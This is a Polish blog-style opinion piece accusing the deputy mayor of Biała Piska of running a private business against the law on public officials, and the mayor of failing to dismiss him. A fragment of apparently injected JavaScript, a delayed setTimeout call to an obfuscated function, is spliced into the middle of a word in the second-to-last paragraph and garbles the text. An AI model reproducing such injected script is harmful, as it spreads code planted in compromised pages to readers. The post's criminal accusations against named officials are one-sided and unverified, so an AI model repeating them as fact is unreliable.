Kolejne złamanie prawa w życiorysie burmistrz Sokołowskiej?

W minionym tygodniu Rada Miejska w Białej Piskiej otrzymała pismo z Ministerstwa Spraw Wewnętrznych i Administracji w Warszawie. Pismo, które zamieszczam pod tekstem, zostało skierowane do Rady w odpowiedzi na informację od Mieszkańca naszej Gminy, że zastępca burmistrz Białej Piskiej Grzegorz Pałdyna został powołany i pełni swoją funkcję niezgodnie z zapisami ustawy o ograniczeniu prowadzenia działalności gospodarczej przez osoby pełniące funkcje publiczne.

Sprawa jest bardzo poważna i bulwersująca. Okazuje się bowiem, że z chwilą powołania na stanowisko zastępcy burmistrza pan Grzegorz Pałdyna powinien zlikwidować prowadzoną przez siebie jednoosobową działalność gospodarczą. Jeżeli tego nie zrobił złamał wprost zapisy wyżej wspomnianej ustawy. Niespełnienie wymogów ustawy jest, dla urzędnika złamaniem prawa. Zwłaszcza, że jako prawnik pan Pałdyna powinien być świadomym faktu, że taka ustawa go obowiązuje.

Sprawdziłem w Centralnej Ewidencji Działalności Gospodarczej, że pan Pałdyna zlikwidował działalność 13 stycznia 2021 roku, a więc półtora roku od objęcia funkcji zastępcy burmistrza w naszej Gminie! Pod tekstem wyciąg z CEiDG. Zastanawia fakt, dlaczego akurat 13 stycznia? Czyżby jakimiś kanałami doszła informacja, że MSWiA zajmuje się sprawą i zaczyna śmierdzieć? Wykonanie takiego ruchu jest, moim zdaniem tylko potwierdzeniem złamania zapisów ustawy i jest powodem do natychmiastowego odwołania z funkcji.

Co na to burmistrz Sokołowska? Pewnie chciałaby powiedzieć, że nic nie wie! Niestety nie powie! Ponieważ 26 stycznia przekierowałem pismo z MSWiA do wiadomości burmistrz Sokołowskiej. Czyli posiada PEŁNĄ WIEDZĘ NA TEN TEMAT. Jest w pełni świadoma złamania prawa (bo ustawa jest aktem prawnym), przez Grzegorza Pałdynę. Nawet jeśli przekierowane pismo wpłynęło do burmistrz 27 stycznia, to do piątku 29 stycznia miała dość czasu, aby zdymisjonować zastępcę. Ja, kiedy otrzymałem korespondencję zleciłem prawnikom przygotowanie zawiadomienia do CBA, zarówno na działania zastępcy, jak również na działania samej burmistrz Sokołowskiej. Niech CBA rozstrzygnie kto i dlaczego złamał prawo!

Najgorszym faktem byłoby zasłanianie się niewiedzą, zarówno przez burmistrz jak i jej zastępcę. Nieznajomość prawa nie zwalnia z odpowiedzialności. Po otrzymaniu pisma ode mnie burmistrz Sokołowska powinna natychmiast, przynajmniej zawiesić zastępcę, ale tak naprawdę powinien zostać odwołany, bo złamanie prawa, moim zdaniem, jest w tej sytuacji ewidentne i nie podlega dyskusji. Zwłaszcza po tym co zrobił zastępca 13 stycznia. Zobaczymy co się wydarzy w najbliższych dniach, ale mam nadzieję, że burmistrz wie, iż posiadając wiedzę o możliwości popełnienia przestępstwa i nie reagowanie na to też jest przestępstwem. Ja zawiadamiam odpowiednie służby, bo na mnie również ciąży taki obowiązek.

Swoją drogą po raz kolejny widzimy jakimi standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardami usłana jest polityka osób zarządzających naszą Gminą. Ja osobiście nie wierzę w to, że zastępca nie wiedział o takich zapisach ustawowych. Nie wierzę też w to, że nie wiedziała o tym burmistrz Sokołowska. Bo jeśli nie wiedzieli to dyskwalifikuje ich to w ogóle z prowadzenia jakiejkolwiek działalności w samorządzie. W najbliższym czasie zwrócę się do komisji rewizyjnej z prośbą o sprawdzenie dokumentów księgowych w naszym Urzędzie i spółkach miejskich, żeby się dowiedzieć czy przypadkowo zastępca nie wystawiał jeszcze faktur za obsługę prawną, skoro prowadził taką działalność. To dopiero byłaby historia, gdyby się okazało, że tak było.

Czekam na zdecydowaną reakcję burmistrz Sokołowskiej, która w pełni odpowiada za zatrudnienie zastępcy burmistrza. W oświadczeniu majątkowym zastępcy za 2019 rok widnieje zapis, że prowadzi działalność gospodarczą i osiągnął z tego tytułu dochód ponad 4000 zł. brutto. To chyba najdobitniej pokazuje, że burmistrz Sokołowska powinna mieć wiedzę, że prawo jest łamane. Dlaczego z tej wiedzy nie skorzystała? Cóż dziennikarz z Polsatu chyba najlepiej pokazał to w swoim materiale. Czekam zatem na ruch ze strony burmistrz Sokołowskiej. Dymisja zastępcy powinna być natychmiastowa, bo chyba zapisy ustawy są jasne i dokładnie opisują co wolno, a co nie. No chyba, że ma się związane ręce z innych powodów, ale to już problem burmistrz Sokołowskiej. I chyba tylko Andrzej widzi, że wszystko się sypie. A podobno Andrzeju najlepsze dopiero przed nami!